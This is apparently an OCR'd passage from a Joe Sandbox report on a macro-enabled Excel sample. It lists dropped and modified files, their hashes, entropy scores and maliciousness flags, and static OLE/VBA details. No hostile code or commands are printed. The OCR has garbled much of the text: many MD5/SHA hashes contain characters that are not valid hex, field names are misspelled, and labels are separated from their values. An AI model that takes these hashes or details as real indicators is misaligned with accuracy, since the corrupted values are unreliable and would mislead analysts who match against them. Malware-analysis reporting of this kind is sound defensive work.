SHA-512: 5622207E1BA285F172756F6019AF92AC808ED63286E24DFECC1E79873FB5D140F1CEB7133F2476E89A5F75F711F9813A9FBB8FD5287F64ADFDCC53B864F9BDC
Malicious: false

Reputation: moderate, very likely benign file

Preview:

.(d....0..*.H........0a1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...130801120000Z..380115120000Z0a1l.
0..U...US1.0.. U D|g|CertInclO .U...www.digicert.com1 0...U....DigiCert Global Root G20.."0...*.H.. <z..k-"$D.b.~.~Tu.P.c
0, 7..CNJ,.. ....%.k. . .0llg..a....2k. W ].....L.5-.Im.w..IK.U.....#LmE....0.LUW.|..s..0..P.. ...3.)......B0@0...U........0....0...U...
........ 0..U....N"T .ni 900 5 He, g(oHcl g d sw*zggB#EgS .a4.L..5v.B.D..6t$Z.I. Y5 l..G*=/\... ._SF..h...0.>1....>5.._..pPpGA.W.N

....... 1.%.u...0..Aq..*.0. U...E..D..2...SF.,..." K.E...X..}R..YC...&.0....7}....w_v.<..]V[..fn.57.2.

Process: C:\Windows\System32\DWWIN.EXE

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGelxOhoW6qCLANz2pj

MD5: E4AF1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1ASA151EDA2A7AAG64D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBIEAF9324F2C22E9BF0882
46

Malicious: false

Reputation: high, very likely benign file
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https://view.joesandbox.com/analysis/250590/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250590/html/none?idtype=webid
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250436/html/none?idtype=webid
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250424/html/none?idtype=webid
https://view.joesandbox.com/analysis/250198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250198/html/none?idtype=webid
https://view.joesandbox.com/analysis/249917/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249917/html/none?idtype=webid
https://view.joesandbox.com/analysis/249441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249441/html/none?idtype=webid
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249394/html/none?idtype=webid
https://view.joesandbox.com/analysis/249019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249019/html/none?idtype=webid
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248397/html/none?idtype=webid
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248377/html/none?idtype=webid
https://view.joesandbox.com/analysis/248320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248320/html/none?idtype=webid
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid
https://view.joesandbox.com/analysis/247830/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247830/html/none?idtype=webid

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Preview:
MSCF....8.......
3a.l...]..c(...p..]..M..

4. JC.@.[.#xUU..*D..agaV..2.|.9..Y.j .@.Q.....n7TR..
..C..2....P03$.Y..?m....Z20.g3.>WO0&.y|(....]. >... ..R.gB..f.....y.cEB.V=.....hy}....t6b.q./~.p

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
Process: C:\Windows\System32\DWWIN.EXE

S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..
Lles.f4lcl9+[]0 . 2hs A oweti LS.

.z.N.N...Uf.q">}

|.=H4.U=..X..qn.+S.AJ.....y.n.v.XC...
0> #. pfi7.U......s
.60...eCS4.0......d..}.<,nh.;....)....e.]...Cx]..f.8.Z.&.G.....
o\.cD"0."Y.....SV..g...Y.....o.=....k..u.

wz.A.g.Y....

File Type: data
Category: dropped
Size (bytes): 252
Entropy (8bit): 3.0862995200743666
Encrypted: false
SSDEEP: 6:kKd/zLDKVIbjcalgRAOAUSWOzeEpV1EwW1O0XISMIcV/:RLUtWOXxSWOzeYrsMIU/
MDS5: OFCACO7AEFF591E1FF36221FC15993B5
SHA1L: 6AF4105DB3149F0580D3E8347CE34161EB9D1263
SHA-256: 866EEAAF51EA184F5C6F6C26755C5F44D98B78AC37FE334267E6C41EEEBDFALA
SHA-512: A4AB264BF66FCIF69430B213CBF09BDD919777EODEC8820AA77FO6AF8D3A60645C8BIC39355176C97B7B8FDCFCD40F6F28C27599B31B59533925FC1D8ELF297
Malicious: false
Reputation: low
Preview:
Prvere eeforen e s Nl h.tt.p...//c.a.c.eurts..digice.rt..com/D.ig.iC.ertG.lob.alR.0.0.tG.2..crt.."5.a.28.

6.4.1.7.-3.9.2.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506
Process: C:\Windows\System32\DWWIN.EXE

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.117051994467751

Encrypted: false

SSDEEP: 6:kKvVwswwDN+SKQIPIEGYRMY9z+4KIDA3RUegeT6lf:nVykPIE99SNxAhUegeT2

MDS5: 4FA401A194E5284B0318ED59396335C5

SHA1L: 82F0AEA431COAC660303423D44DECOF299C8D1E4

SHA-256: 6942E5AA884492FA35293A7A7811E1228C463F90A67A883F83ABIFA64B2D07F8

SHA-512: D536E1FEDB6B5392CAD3B8341B10A2B875D6945C499BA76F09486461FD7D6037BCFOCE2B74A392F92B6458AEA041914DADA52C6DEOA07340C67EEA415EA4A9
F

Malicious: false

Reputation: low

Preview:

tatic/trustedr/en/authro.o.ts.tl.cab..".0.6.9.559.e.2.a.0.d.6.1.:.0."...

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7B9858B0.emf

Y....$......8. .http.//lctldl.windows.up.date..com/ms.dow.nlo.ad/updatel/v3./s

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 1408

Entropy (8bit): 2.270567557934206

Encrypted: false

SSDEEP: 12:YnLmlzslgWuMapOFol9l+EeQpN4IZsrBKIQzKIslOu17ulDtDAcqitLMk+QCeJHo:Ync9640CXV34gNgXK7KhDDYB
MDS5: 40550DC2F9D56285FA529159B8F2C6A5

SHA1L: DD81D41D283D2881BEC77E00D773C7E8C0744DA3

SHA-256: DA935E8D60E93E41BCD7C3FBB1750EF3AC471C3AF78AFC8945DFBF31EB54A1EL

SHA-512: FC354E4F37C9E1BA07DFC756F56A1ABE6A75230DEF908F34E43D35618B113A532E5B7C640F5B14BF75AC31003D8C66E06BA37A004E9357BF7896BD944A0514A!
Malicious: false

Reputation: moderate, very likely benign file

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A342A0F1.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 363 x 234, 8-bit colormap, non-interlaced
Category: dropped

Copyright null 2021

Page 18 of 67



C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A342A0F1.png

Size (bytes): 2653

Entropy (8bit): 7.818766151665501

Encrypted: false

SSDEEP: 48:EMJaE2jR4jEJ/ff6NMVNzNzHUuQoCpMTjOWhXP4/3dlIslfnaedCByM9x:VkjR4j6Hf6nGOWXPe/v3k/9x

MD5: 30D3FFA1E30B519FD9B1B839CC65C7BE

SHA1L: 1EBOFOE160FF7440223A7FE46F08B503F03D3AFB

SHA-256: 89A25BF794658FD3FABB1F042BCC283497B78E0A94098188F2DED7587BOCA3DC

SHA-512: 88E3ABDADCBD7F308FCAED390A033F09208EAAD4053FE6IDAA274CC14DD2BC815B4D63725C1EFEF3C592C1DEDE22A555DBF5303C096839F8338B2F6CIEOA!
C50

Malicious: false

Reputation: low

Preview:
.PNG.......IHDR.. k...... S......tEXtSoftware.Adobe ImageReadyq.e<....PLTE.........KIK....
$F..cnEotc?~ g2 RL)<AS L [V OO e DIM.~.s.....h.}".&{..X2.6.....5.;3>..0....0zn...])..8..;.rA..6..Xn"R..a.Bw..M....tw. mE.w....>....].._v...z...H.y..8{)Z...qu.
C~3..>Jo.>_Fl.._7nt.c.n.lu.g.@....l.=....29. . .Rc.b.ff.l. #4. FwA{. .&N.Z'.2;2.h|.ezf. . .. . ....0O.m>n-fS...... R...q....F.D...w..e.x.H.?.C........;.0
1)...@G.y..EY..5.>..."}..4(.A))d.Pk....7vG G.RZ#F. K<...). (. FHN.D4jy. WJ_...H2.....IN....?2.V?2..z K......M..F... ..t...053..:..0.~.5-.30.."...Q..et..=...5.q.Ko

.Y#..H.~...C..CLi.83..6_..B.DC..>?.]..fG0..X0}C.|. @B..AJ.s.x...n..[ #WE....F.gv..i}..f}.....9G...G.O4...w6.x.L.J..... _o:Za}. { Xx....F

C:\Users\user\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_EXCEL.EXE_6f227b18f49da44a2d1889aa10939f535bdc_09ele9e2\R
eport.wer

Process: C:\Windows\System32\DWWIN.EXE

File Type: data

Category: modified

Size (bytes): 16312

Entropy (8bit): 3.7163402135276207

Encrypted: false

SSDEEP: 96:4KbBakNZESI/fQ5QXI4izw+HbngICZgpYT1uPoGI9uyEYcbkMIbFY7UGQIITOB1A:4LBKzFCEuUhTlyZVaPYVala5GG

MDS5: OFDF227B92A2ECDFE906E27D6C032F8A

SHA1L: OEB3004A2A4905A6DEAB1996B86B4328860EE777

SHA-256: 11F89CB104E776E2E1077133CBBEOC568E3F4F870157534C1F489216E9328093

SHA-512: B80868BDOB49AC51AFA4A3FAOBC4B0OD23656AFADE3C46EBIC72224DD787F1CF7E1215563E021F59449CA97D46FF1540FCOALF693D77783B303935DA3FCEOQEO!
1

Malicious: false

Reputation: low

Preview:

V.ers.ion=1...Ev.entTyp.e=APPCRASH..EventTime=13254.809.2.0.8.7.08.2.0.8.3.7...Re.p.o.rtTy.p.e=2..C.ons.ent=1..Up.lo.
a.d.T.im.e.=1.3.254.8.9.2.1.0.3.9.9.25.1.34....R.e.p.or.tld.e.ntifier=c.d7.0.3.7.a3.-547d.-11leb.-adc.f-e.cfdbbb.59.15b...lntegrato.rR.e.p.
ortlde.ntifier=c.d7.0.37.a2.-547d.-11leb.-adc.f-e.cf4bbb.59.15b...Res.p.o.ns.e.Bucketld=370.1159.26.1..R.esp.o.ns.e..Bu.ck.
e.tT.a.ble=3.8.0.7.0.7.5.2.5....R.e.s.p.o.ns.e...ty.p.e.=4..8S.ig9.[.0]..Name=Ap.plicatio.n. .Nam.e...S.ig.[0].V.alue=EXC.EL..EXE..S.ig.[1l
]..N.a.m.e.=.A.p.p.li.cati.o.n. V.ers.ion...Sigl[1l].V.alue=14.0..7.0.15..1.0.0.0....S.i.g.[.2.]..Nam.e.=. A.p.p.li.c.atio.n. .T..me.stam.p...S.ig.[2]..V.
a.lu.e.=51.c.c.a.7.cd...S.ig.[3.]..Nam.

C:\Users\user\AppData\Local\Temp\67FE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 56572

Entropy (8bit): 7.850619347326348

Encrypted: false

SSDEEP: 768:hnSWNrAli8zJjX19e4JpKmysILBti3rng54DpyNzSHOdFoKgbLNFq9z:hXUI/i434090g540NzgO/ObLNFq9z
MDS5: DECOE4FC83D4C848B110DB20629C98DC

SHA1L: 9A7EC2860D75C9984F6713A08DA3085EF6BCI1AE

SHA-256: FB2A27AF526DF0402AA3712EC3FOE20C9704DAC783BC737C4FF46D3629D76812

SHA-512: 1F430E39C5AF36D0CA40E33828EF4002D4BB6C39A891027F3F489E8ED64A72914F33EE09BD56746DA162F762121113C13CASFE2C55F7A342DD8127ED4CB098A!
Malicious: false

Reputation: low

Preview:

..N.0.E.....H..(,g.6@S.[.......w(9...a....U..Q....ue... +R.N*..0.gR...Y... . ~<Z..m.>%0. (X A WU &.LILwP. ....... 1.%........ Aot L k%@:.d.F... HFS....OH.....2..
e WS~ un s..e.XB+@..3R.Ep..05. W...#..N.Yw.Y.|U.rBK)o.dz..g.H.{...k
; [Content_Types].Xml ... e

C:\Users\user\AppData\Local\Temp\998453.cvr

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: data

Category: dropped

Size (bytes): 1392

Entropy (8bit):  3.142934598289609
Encrypted: false
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C:\Users\user\AppData\Local\Temp\998453.cvr

SSDEEP: 24:pll/r8suFosnbeTIl/3vXkIXHIUbcW1IP/dOZ5GjXO/CUNHBFZE:pll/QFZbkXWGION/xBFY

MD5: 91CFCC4A1A09DB77E653BB2E13F9B179

SHA1L: 165023666DAES5D631E04A9220442E401075DB3D1

SHA-256: BA228004FCDF193E308AB0545750EE259A1D20999071DF01CD8B4B3964256422

SHA-512: 2FDE452FAFAB930FE87B4E633057B63D4F21FD34634D8153423467102CAB76A939694316098E5AAECFEOSAAEC90632FDF5EF79E21647AF5C70162EC0693A9118

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Temp\Cab955E.tmp E

Process: C:\Windows\System32\DWWIN.EXE

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alLE/sSkoWYrgEHgCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996 AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false

Preview:
MSCF....8....... et Lo S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(..... M$[v.4CH)-.%.QIR..$t)Kd...D....3.n..U......c.......].. =H4.U=...X..gn.+S.AJ.....y.n.v.XC...

LadesoflAlcl 9]0 2hs A awet Ll OS> C#L L pfiT ULLs A wz Ag LY
..... hy}....téb.q./~.p........60...eCS4.0......d..}.<,nh.;.....)....e..]...CX]...f.8.Z..&.G.....
; Z.N.N...Uf.q">}....... o\.cD"0."Y.....SV..g...Y.....o.=....k..u.

C:\Users\luser\AppData\Local\Temp\Excel8.0lMSForms.exd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

241332

4.206769656577553

false
1536:cG4LEQNSK8SCtKBX0Gph2vxKHNVMOKOX0OmMRO/NIAIQK7ViKAJYsAOppDCLTMRsi:c5NNSk8DtKBrpb2vxrOpprf/nVq
C5E9F5703FA359DD72FBB85355945491

21549B782C4424D9100D4477D34847842528426E
98870A08EBB24B9C458COECE3F7CDDF3089A26C83403BF653B00ABBF244FFA95

OAC6C3C8EF98C31CCAGB47277EAB1C28565ACA4F0BB02A7BFBC040594DC327D6D7BD37D601860D47823EDASFCC11354C5C67A88EE1C2890625DA2F330DBOD
26

false

C:\Users\luser\AppData\Local\Temp\Tar955F.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Windows\System32\DWWIN.EXE

data

dropped

152533

6.31602258454967

false
1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
D0682A3C344DFC62FB18D5A539F81F61

09D3E9B899785DA377DF2518C6175D70CCFIDA33
4788F7F15DE8063BB3B2547AF1BDICDBD0596359550E53EC98E532B2ADB5EC5A
0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESFI013606364F092ACF7D832E1ABDAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEA04EC

false

Page 20 of 67



C:\Users\luser\AppData\Local\Temp\Tar955F.tmp

Preview:

0.S..*H......8.0..S...1.0....H.e.....0.C..+....7.....C.0..C.0..4.....7.............201012214904Z0...+......0..C.0.*....."..@.,..0..0.r1...0..+....7..~1.....D...0...+....7..i1...0...
+..7<.0 .+....7..1 @N...%.=.,..0%..+....7..1....... @V"..%..*..S.Y.00..+... -@wWO0Z..+.....7...1L.JM.i.c.r.0.s.0.f.t. .R.0.0.t. .C.e.rtific.ate.
A.uthority...0. [/.ulv..%1...0...+.....7..h1.....6.M...0..+....7..~1.. 7..1.0.V.. L1l>)..s,.=8.~R00..+.
7.2..Gy.cS.0D..+....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.tam.p.in.g. .CA..0....4. .R..27.. ..1.0..+..7.h1...0&.0..+..7.1.0..+..7<.0
L7010l AL @09 70 1 W FLL9INLLTLL00. L 701 L@ GldmL S XU 0B+ 7. 14.2Mli.c r.0.s.0.f.t. .R.0.0.t. .A.u.t.h.0

C:\Users\user\AppData\Local\Temp\WER8SCF4.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\DWWIN.EXE

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
dropped

3110

3.6796097788243274

false

96:Shz4tU607VxBt3uhhgHPe40PAN5xp38MkSMY 3:WI7LBNuhhgG45nv58MIMI
9951D43E6E3E0625775F9777E865C7B5
6D551E14B691EDOA9383729CDD21BEO86CDO55AA
2E5EB8A5064AA4428F1BDOF83AAB230604EBBC4FCAC184BDCDC22006D2E74B86D
8CDF8C3FE9AA9116F6621F44429268639679D8A2A5784DCOEA7TAEL72235742C67671188DF6786256B773A65A36E738A15FD11B11BF3F4529CAD2EDSDFD38BB7L

false

.<?x.m.l .wvers.ionz="1.0." enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W..n.d.
ow.s.N.T.V.ers.i.o.n>6..1.</W.i.ndowsNTV.ersion>.....<B.u.ild>76.0.1. Service. .Pack. .1.</B.uild>.....<Pro.du.c.t>(.0x3.0)... .W
i.n.d.ow.s. .7. .P.rofess.io.nal</P.r.o.du.c.t>
re..w.in7.s.p.l._1dr.17.0.2.0.9.-.0.6.0.0.<./.B.u.i.ld.S.trin.g.>......<R.e.w.is.io.n>113.0.</R.e.v.is.io.n>....<Flav.or>Multipr.o.ce.ss.o.r. .Fre.e.
</F.lav.or>....<Architecture>X6.4</Architecture>.....<LC..D.>10.33.</LC.D>....</0.SV.ers.io.n.lnformation>....<Par.e.
n.tP.ro.c.ess.l

C:\Users\user\AppData\Roaming\Microsoft\Excel\~ar67E4.xar

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

modified

51613

7.823714360059984

false

768:UAK3YYc0e76UIWEBWUOASEVIrCI8rbgqFqcO+hxOVPZKp42A205LEdT/COWNIVTQY:d976 UME+uhBQrC98PGZHUNNS5LaLTQDI9
138F4EO0E9934BE4DA0426CB5321F0D7F

84070B3A221BFB5CODE40209E639669583CEC8C3
1D254C6FD6801C024975A8EEF3575FE869C3AC88AF910C27E24DCA3957243217
5E69E147D8439A637A11C9B2481E0778E65DA67BF1E059FB038266990E3BOC608E2DC8BD3BFE4D187191F8D54C138663EF215073FF872A9A68255091DC7C35A9

false

Vo0.W.2 v Bl J= ] [Wowm A L@. ... %. {0<0<...UR...<L.U...FH......i..).10.....7..... Z.<=.?R...J..q.0.d.0.Z.... .j..T...N77P.G.......N.O{Q*O..Jr.OPZIAJ AA........|.3.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue Jan 12
01:27:51 2021, atime=Tue Jan 12 01:27:51 2021, length=12288, window=hide

dropped

867

4.48075162575188

false
12:85Q/k2kcLgXg/XAICPCHaXtB8XzB/DhiUBEX+WnicvbsaRbDtZ3YiIMMEpxRIjKA:85dDK/XTd6jhhnEYehtDv3gNArNru/
B339C286696BE14A0BFB8FB5E272DD38

F3CC42F0CD4D791395DF1E3D43223997C63E4D41
A352E71022A6431154D763D66924E48A7411E8F285071E107CAAL8D18EAACDFB

85695DE99B0CC82045A566D3BE60BODCA43FES6ECE3B080992384C3DF51220EDEEDFFEALSES1ADEBA897996E1AE444COA8ESFE34EA9512990A2D5B0594959B1
DO

false

e 00./C N t1.....QK.X. Users. ......QK.X* ..o 6...Us.ers..@.s.h.ell3.2.d.ll,.
Alb.us.....z.1.....,Rz...Desktop.d. Desktop .@.s.h.elll.3.2..d.ll.,.-.2.
. \\813848\Users user\Desktop.... D e.s. k 1.0.Peeceete LB A 1SPS.XF.L
S 1.-5.- 21 966771315 .3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6... ‘.......X.......813848 .......... D_....3N...W...9r.[.* ....... }EKD_....3N
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

106

4.288085753919832

false

3:0yBVomxWdxUNIVUYOhVdUNIVUYmxWdxUNIVUYv:djuSL1WLeSLC
3A4CD3A9401D75DF179FD5850F863649
1036B9ABFAF918FB96990DA3DC6350DESADC5EAB
6A59F34635BEEEC2999D038D85914250458F714CB546BD29FCFA3CCA1BOE73EF

31ABOEEO7F659FA4EAD5608CCF3C8E772918F24400EE013FE83838D8106BFDE4ED823B91D2C4464B108EB37F2FB15C71E9CBOEBC7AB3A2EFC469C253136D17
D4

false

Desktop.LNK=0..[misc]..sample20210111-01.LNK=0..sample20210111-01.LNK=0..[misc]..sample20210111-01.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\sample20210111-01.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Tue Jan 12 01:27:51 2021,
atime=Tue Jan 12 01:27:59 2021, length=56539, window=hide

dropped

2108

4.5041154003832595

false

48:8Vos/XTOjFXEIIGXVILINAQh2Vos/XTOjFXEIIGXVILNAQ/:8ys/XojFxjLNAQh2ys/XojFxjLNAQ/

32B7E994BF13801BEBBC3697536E86AD

O0BF3648CA3AODF2E5FF3FF1A57F3E20394314242

3FC1222BC12CBE95C2EFC8ES5E43754912AAF46E37B1D17541FA2011FAAT4F613
75F0D7763F12045792F8A68FF5DA3E40346814F53F7CCE1CDSEB11A0857C922A2156629B2BABA3FC8C57754DCB02596929248A9313E40F91497C0266E3C66AA9

false
L. 1....QK.X..Users.".. LQK.X*.. .6....Us.ers..@.s.hell32.dll,.
.21.8.1.3....L.1. ...Q.y..Desktop.d.....QK.X.Q.y*..._=... .D.essk.to.p..@.s.hell3.2.dll,.-2

200 CiUsers\ \
1SPS.XF.L8C.

.1.7.6.9....v.2....,Rs. . SAMPLE~1.XLS..Z.......Q.y.Q.y*...8.. s.am.p.le.2.0.2.1.0.1.1.1.-.0.1..x...s.m L8
813848\Users.user\Desktop\sample20210111-01.xIsm.-. .\.D.essk.to.p\s.am.p.le20.21.0.1.1.1.-.0.1.xl.sm...
..&mm...........~...S.~.1.-5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............".......X.......813848.......... .

C:\Users\user\Desktop\BO0OF0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

56539

7.850377009214

false

1536:hXUI/i43FH4c93BUIN5r3i7ct20bLNFqFWf:hO/dthFIdS7BO/AWS
8A3A81530F27C8EA5D3597C53C57E6DE
9B7503B11FD8F95656380A3DC6B3056C8FO7B7AA
4FFO1EF2F667E67A0D88688505BD1B86BA3C89FI0E792DB9I2A73BC4D15809EBC

E271FA1D22EA3AD8FA29F73D51EDC852F6EEC7COE9992D12351AB58ES9BFOAEOF1FO09B2DDBASFADG6063DE1368B4BDEB30423A0543E9D94EFFO1EFB122329C:
55

false
.NO0.E.....H..(,0.6@S.[.....(.W(9...a....U..Qcooeue +R..N*....0.gR....Y... Y ~<Z ML >% (K A WU &.LILwP. .....[%........ At k%@:.d.F... . HFS...OH....2..
10,100 & 57.Y....s..e. XB+@..3R.Ep..05. W...#..N.YW.Y.|U.rBK)o.dz..g.H.{.. k

.D....q.8..,.[#. KF....3.r.q. [Content_Types].Xml ...(c...ccouiiiiiiiiiiiiiiccce

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

Copyright null 2021

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/IFFDIW2fj/FFDJIw2fV:vBFFGaFFGS
96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
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SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69CO6AD4AB3FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true

Preview:
.user LALDUS user VAlbuso oo

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

ede2aa8aadbcbcac

OpenXML
2

OLE File "lopt/packageljoesandbox/database/analysis/338158/sample/sample20210111-01.xIsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:

Contains Workbook/Book Stream:

Contains PowerPoint Document Stream:

Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary
Author:

Last Saved By:
Create Time:

Last Saved Time:

Copyright null 2021

False
unknown

False

True

2020-12-07T14:38:21Z
2021-01-11T13:42:02Z

Microsoft Excel 2007+
7.75941359400182

e Excel Microsoft Office Open XML Format document
with Macro (57504/1) 54.50%

e Excel Microsoft Office Open XML Format document
(40004/1) 37.92%

e ZIP compressed archive (8000/1) 7.58%

sample20210111-01.xIsm

40268

fa5350d4304c4c2ceafad35244b5a5fc
fc8a20962b8cf86568h1e85be02ee9c7h62d94b2

0104974a7bf43e2e31d25ae485f57c62efe89eaea2d3e52
0db8a76fa70dd956d

09cf2c537¢c358aea59a242b2b25129cc780bcc571e0ef61
1le2b1eb40078c1ff27356d1a45b1dd42249685e97b18el:
173be2dde0e54bf4913fcce4b3703eab25

768:1wTZYX6TBDUZzVXald/ybclX7aV+uFdeq9AQxD2K
LOgnp5zFVqgJiZ:sabaVXaPaG7zyvxDhLnzjqJIZ

.[Content_Types].xml ...(..
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Summary
Creating Application: Microsoft Excel

Security: 0

Document Summary

Thumbnail Scaling Desired: false
Company:

Contains Dirty Links: false
Shared Document: false
Changed Hyperlinks: false
Application Version: 16.0300
Streams with VBA

VBA File Name: Modulel.bas, Stream Size: 3215

General

Stream Path: VBA/Modulel

VBA File Name: Modulel.bas

Stream Size: 3215

Data ASCIl:

Data Raw: 01 16 03 00 03 fO 00 00 00 2a 05 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 58 05 00 00 fO 09 00

00 00 00 00 00 01 00 00 00 ba 78 ca 26 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
